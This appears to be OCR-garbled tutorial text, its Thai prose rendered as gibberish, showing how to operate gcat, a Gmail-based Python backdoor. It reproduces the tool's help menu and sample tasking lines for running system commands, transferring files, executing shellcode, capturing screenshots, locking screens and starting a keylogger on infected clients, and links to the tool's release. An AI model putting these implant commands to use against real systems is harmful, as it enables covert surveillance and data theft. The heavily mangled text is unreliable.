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gcat:757a3a69-3a40-5ef6-918c-a881a614a131:vVgrGFbL - {"cmd": "stopkeylogger”, "arg™: "}

gcat:757a3a69-3a40-5ef6-018c-a881a614a131:eGtW7vb - {"cmd": "startkeylogger”, "arg": "}
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1.uATAald Gmail wa: ska gmail Ndavmslkdodoya
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2.0nIW4 backdoor IUUdnal3nindavikio

3.1wA Gmail tWaq31 backdoor awsaldvuld
4.5ulW3 Server 15 -list 1WWosu id uazwAwdansa
mviula

5.10alwa server doviuwiu Cmd agv -id ID -
screenshot

[ NN ] 7 gcat-master — -bash — 80x24

optional arguments:
—h, —help show this help message and exit
vy —version show program's version number and exit
|  -id ID Client to target
—jobid JOBID Job id to retriewve
||
|
| -list List available clients
—-info Retrieve info on specified client

1
iﬂnmmands:
| Commands to execute on an implant

| —cmd CMD Execute a system command

| —download PATH Download a file from a clients system
—upload SRC DST Upload a file to the clients system
—egxec—shellcode FILE Execute supplied shellcode on a client
—screenshot Take a screesnshot

-lock-screen Lock the clients screen

—force—checkin Force a check in

-start-keylogger Start keylogger

—stop—-keylogoer Stop keylogger

|

|
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| Jirapuns—MacBook-Ailr:gcat-master jirapunchokjarcenphaisan$ I

1.au1saswWklinoouavikiodrgmavn -screenshot
2.a811saqLAovikdanuwWuwWa:ls Arafay
-start-keylogger

3.aWw1sadanklindoadg -lock-screen
4.anunsadoviu cmd drgfidondl wu -cmd dir
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Gmail Python

Reference

- https://www.youtube.com/watch?
v=C7HESFRTLvO
https://github.com/byt3bl33d3r/gcat/releases/tag/1.
0.0

-https://www.mangoconsultant.com/th/news-
knowledge/knowledge
https://www.gotoknow.org/posts/622755
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